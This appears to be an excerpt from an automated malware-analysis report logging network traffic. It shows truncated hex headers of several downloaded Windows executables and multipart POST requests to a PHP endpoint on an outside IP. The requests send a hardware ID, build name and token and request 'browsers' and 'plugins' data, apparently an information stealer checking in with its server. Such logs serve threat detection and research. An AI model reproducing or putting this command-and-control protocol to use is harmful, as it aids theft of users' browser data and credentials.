Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 03:55:55 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 03:56:00 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Sat, 26 Oct 2024 03:44:58 GMTConnection: keep-aliveETag: "671c65ba-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 20 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 fa 70 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 68 65 62 78 79 7a 72 00 a0 19 00 00 70 4f 00 00 9c 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 7a 61 79 65 78 74 71 00 10 00 00 00 10 69 00 00 04 00 00 00 d8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 03:56:02 GMTContent-Type: application/octet-streamContent-Length: 1887744Last-Modified: Sat, 26 Oct 2024 03:45:05 GMTConnection: keep-aliveETag: "671c65c1-1cce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 86 06 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 93 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 92 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 74 61 79 69 72 62 00 c0 19 00 00 e0 30 00 00 b4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6d 6e 6f 77 62 6f 75 00 10 00 00 00 a0 4a 00 00 04 00 00 00 a8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4a 00 00 22 00 00 00 ac 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 03:56:09 GMTContent-Type: application/octet-streamContent-Length: 1887744Last-Modified: Sat, 26 Oct 2024 03:45:05 GMTConnection: keep-aliveETag: "671c65c1-1cce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 86 06 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 93 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 92 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6a 74 61 79 69 72 62 00 c0 19 00 00 e0 30 00 00 b4 19 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6d 6e 6f 77 62 6f 75 00 10 00 00 00 a0 4a 00 00 04 00 00 00 a8 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 4a 00 00 22 00 00 00 ac 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 26 Oct 2024 03:56:12 GMTContent-Type: application/octet-streamContent-Length: 2831360Last-Modified: Sat, 26 Oct 2024 03:26:14 GMTConnection: keep-aliveETag: "671c6156-2b3400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 41 7d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6c 6b 6e 67 6d 71 6b 00 e0 2a 00 00 a0 00 00 00 d4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6a 6d 6e 62 74 70 6e 00 20 00 00 00 80 2b 00 00 04 00 00 00 0e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 12 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGIIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 38 46 30 38 41 31 36 43 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 2d 2d 0d 0a Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="hwid"AE8F08A16C9A291931458------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="build"puma------FCFBGIDAEHCFIDGCBGII--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="message"browsers------IEHIIIJDAAAAAAKECBFB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAECHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 2d 2d 0d 0a Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="message"plugins------JJDBFCAEBFIJJKFHDAEC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDAEHCBGIIJJJJKKKEHHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 2d 2d 0d 0a Data Ascii: ------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="message"fplugins------DGDAEHCBGIIJJJJKKKEH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 185.215.113.206Content-Length: 8443Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDBFCBGDBKKECBFCGIEHost: 185.215.113.206Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAEHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 